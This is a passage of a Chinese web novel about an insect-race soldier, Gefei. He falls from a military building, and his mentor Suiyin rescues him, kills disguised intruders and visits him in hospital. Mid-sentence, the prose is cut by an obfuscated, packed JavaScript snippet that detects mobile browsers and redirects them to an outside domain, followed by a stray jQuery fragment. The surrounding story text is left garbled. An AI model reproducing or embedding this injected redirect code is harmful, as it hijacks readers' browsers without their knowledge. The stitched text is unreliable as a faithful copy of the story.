说罢他便微微后仰,于原本就被打了个缺口的地方用身体重重砸下。
玻璃碎片嵌入背部,划开皮肤鲜血淋漓,他从二十六楼跌下没有丝毫犹豫,一瞬间时间好像静止,受了伤的翅膀仍旧下意识张开,只是扇动不起来。
戈菲第一次以这种视角观看军部大楼,跌下去的那个瞬间好像听到了其他虫的声音,啊,原来等来了支援。
绥因呢?
他不会要做第一个因高空坠楼而死的飞行种吧?!
万里无云的高空,军部大楼明显出现缺口的楼体,随着玻璃碎片一同坠落的雌虫,梅朵纳赶到这里的时候正好看见戈菲从高空一跃而下,面朝天自由落体,一看就是翅膀有问题!
他瞳孔猛地紧缩,会摔死的!!
“戈菲!!!”他几乎没有思考,瞬间放开翅膀朝着哪个坠落的黑点飞去。
只是在他离地的瞬间,另一道身影一闪而过,戈菲消失在空中,一阵巨响传来,天边冒出滚滚浓烟,什么都看不清,梅朵纳的脚步停住,直到身后传来一个声音。
“梅朵纳,送他去医院,剩下的我去处理。”
他回头,立马低头:“是!”
绥因抱着戈菲,将他放下地,戈菲却抱紧他的脖子不肯撒手,小声道:“我好疼。”
“先去医院,好吗?我马上就来找你。”绥因揽着他的腰,指尖湿润,腥味儿明显,他低声哄着,戈菲点了点头,主动走到梅朵纳的身边。
“等我。”绥因甩下这样一句话便从新飞入大楼,他的身影消失的那个瞬间,整栋大楼都被一股蓬勃的精神力笼罩,单是靠近就能感到明显不适。
梅朵纳后退一步,看了眼周围,扶着戈菲低声责怪:“你也太冲动了,万一老师赶不回来怎么办?”
“我没事,我……不想去医院。”戈菲捂着胸口咳嗽两声,只是面色惨白。
“去吧,是老师的地盘,让柯瑟给你看看。”梅朵纳叹了口气,让他将重量全部压在自己身上,毕竟也算得上一起长大,梅朵纳清楚他的性格,他是不会让虫抱着或者抬着走的。
戈菲这次没有拒绝,只是路过姗姗来迟的弗尔弗吉斯的时候朝着他点了下头,梅朵纳则是和他嘱咐了几句,似乎是让他处理现场?
听不清了,他脑袋晕晕的。
-
绥因进入大楼,迅速用精神力笼罩这栋大楼,精神力探查出来,楼内有十二只活着的虫,陌生的气息有十道,绥因循着气息精准定位,手起刀落解决了九个,最后一个在二十八楼。
大楼里静悄悄的,绥因独自踏上阶梯。
【真的不需要我帮忙吗?】
“不需要。”绥因随口一答,低头看看手心里的红色血迹,眉头又拧起。
还真是不让虫省心,落下一天就出这种事情,是他教育的问题吗?这一百年来还是让他过得太安逸了。
不管怎样,他现在很不爽,多谢萨法尔为他送来这些磨刀石。
来到二十八层,他朝着那个气息走去,走廊的尽头,一只雄虫站在不远处,背对着他,他几乎是一眼就认出来那是默里奇,第五军团长弗兰克,也同样是他培养出来的孩子。
默里奇似乎听到了动静,回头看着他,转身的瞬间露出了身后的尸体,那是第十道陌生的气息。
绥因面色平静:“你怎么在这,不是让你去边境了吗?”
“老师!我、我来找坎仄,他不见了……”默里奇在老师面前很轻易地露出了脆弱的一面,他皱着眉头,话音越来越小。
绥因点头:“他死了,不用找他,下楼吧。”
说完就准备转身,但默里奇似乎很是惊慌地拦住他:“老师!”
绥因静静看着他,那双眼睛就象是在说:还有什么话快说。
默里奇的嘴唇嗫嚅着,半个字也吐不出来,只是眼神频频看向他的身后,眼中带了些期待和怪异的狠厉。
绥因上下打量着他的脸,最后瞥了眼他身后的那具尸体,嘴角勾起,身后异动传来,他甚至没有回头,蓄势待发的精神丝一拥而上,片刻后,一只窒息而亡的虫族被拖拽到他们之间。
绥因笑道:“还有什么想说的吗?”
“没、没……”默里奇的眼睛瞪大,满脸的不可置信。
“那就好。”绥因笑起来,下一秒,闪身出现在他的面前掐住他的脖子,“你的上司没有告诉你我的情报吗?你能改变精神力气息和容貌又有什么用呢?”
“默里奇”挣扎了两下,最后不甘心地没了气息,绥因却并未就此放过他,而是硬生生将他的骨头捏碎,脑袋堪堪连着皮肉。
绥因站在玻璃窗外看外面,视线定格在弗尔弗吉斯的身上,他打开光脑。
“弗尔弗吉斯,你负责善后。”
“好的。”
他随口嘱咐了几句便挂断电话,径直前往医院,想了想,在路过商场的时候重新买了套衣服,至于尺码……按照他的直觉挑。
医院里,柯瑟看着戈菲的片子扶额苦笑,他苦口婆心说了一堆就为了劝这个家伙去躺一下医院的修复舱,二十分钟了愣是没松口,无奈他只能先将他背上的玻璃渣和伤口处理一下,至于断掉的胳膊和扭伤的腿以及肋骨,只能复位再靠修复舱,这是最好的办法。
但总有不配合的家伙。
“戈菲,你怎么还是这么执拗,这都多大的虫了,懂点事情。”
“算了,柯瑟,我不想……”戈菲躺着,用唯一一只好的手扯着被子盖上自己的眼睛。
医院的修复舱不知道多少虫躺过……不要不要!
“嘿!”柯瑟叹了口气,他拿这家伙没办法,只能先处理毒性的问题,思来想去,他软了下来,“好吧,你先待着,梅朵纳你陪陪他,你们应该也很久没见过了,我去给你配药。”
“谢谢。”
“不谢,让你雄父少来麻烦我就好了。”柯瑟念叨着走出了病房,丝毫没有注意到身后那两只雌虫对视一眼后古怪的笑。
梅朵纳盯了他三秒钟,最后无奈叹了口气,又笑着将手放到他的头顶摸了摸:“胆子真大,我差点以为你要死了,怎么样,得手了吗?”
“嗯。”戈菲笑起来,眼睛里亮晶晶的。
“那就好,我就说老师他对你和对我们不一样,我们四个可得不到他什么好脸色,我、坎仄、默里奇和弗兰克,大部分时间都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15412932|168838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是皮笑肉不笑的一句‘某某某,你觉得这样对吗’,苍天,我真的要心脏骤停了!”
梅朵纳紧绷的神情放松下来,这会儿也轻松了很多,他收回手,将戈菲身上的被子重新盖好,眼中夹杂了些怜爱:“你好好休息,有事情喊我。”
“好,”戈菲又道,“谢谢你,哥,无论是通风报信还是……”
他冲着梅朵纳眨了下眼睛。
绥因就是在此时推门而入的,他进来的那一刻整个房间的气氛都凝固起来,绥因一挑眉,有秘密了啊。
越看越有意思,他低着头看地面,抿唇微笑,又抬起头,走到床边将袋子放下,他伸手,指背蹭了蹭戈菲的脸蛋:“怎么不继续说了?”
戈菲的脸上难得浮现出几分心虚,他默默地又扯了扯被子,梅朵纳的脸则是瞬击煞白。
绥因注意到也只是轻叹一声,他的教育果然出了问题。
“好了,梅朵纳,你以为我为什么把你留在我身边?”他掏出一把钥匙和身份牌递给梅朵纳,“明天开始搬回来吧,你的房间还在,正好方便点,也可以帮帮他。”
“冕下……”
“叫老师吧,和以前一样。”
梅朵纳有些懵,嘴巴不受控制地微微张大。
“老、老师?”
“你先去帮弗尔弗吉斯处理一下,然后计算着搬回来吧,你那点薪水租房子怎么够。”
梅朵纳激动的心瞬间被痛击。什么叫那点薪水,他工作了一百年,房子还是买得起的好吧?!老师你欺虫太甚!但是庄园的生活还是舒服的呜呜,老师我原谅你了老师!
梅朵纳心里一顿怪叫,但面上恢复成那个面无表情的模样:“好的老师。”
门被关上,房间里只剩下了绥因和戈菲,戈菲眼睛一眨不眨地盯着他,绥因看得想笑
“柯瑟说你既不肯换衣服也不肯接受修复舱治疗,怎么,打算跟我撒娇讨巧?”他摸了摸戈菲的脸。
“没有,我就是……不喜欢。”
“我带你回家?治疗室有我的。”
“好!”戈菲似乎意识到了自己的急切,闭上了嘴,半晌他又想起了什么,“绥因,萨法尔好像没死,你的补刀技术也不怎么样。”
绥因轻笑一声,转过身去将袋子拎到他面前,解释道:“斯达特黄蜂,和从前有名的彼得斯家族同一种族,只要虫核不被迫坏就能返生三次,只是我也没想到萨法尔那个老东西还能留着这次数。”
“路上买的衣服,洗过烘干了。”
“我动不了。”戈菲眨巴着眼睛看他。
绥因的手顿在半空中,似笑非笑。
“你在暗示我什么?”
“抱我起来,我想回去了。”
绥因应下,只是被子一掀开,入目满是鲜血和破烂的衣衫,他脸上的笑容消失,换上一副无奈的模样。
“你脏衣服都不换就躺他私虫病房,柯瑟没伸手打死你?”
“没,他不敢打我。”
绥因摇头:“也就我不嫌弃你。”
他走到病床边,弯腰,直接拽着戈菲伸出的手将他整个抗在肩膀上。
“我不要这个姿势!”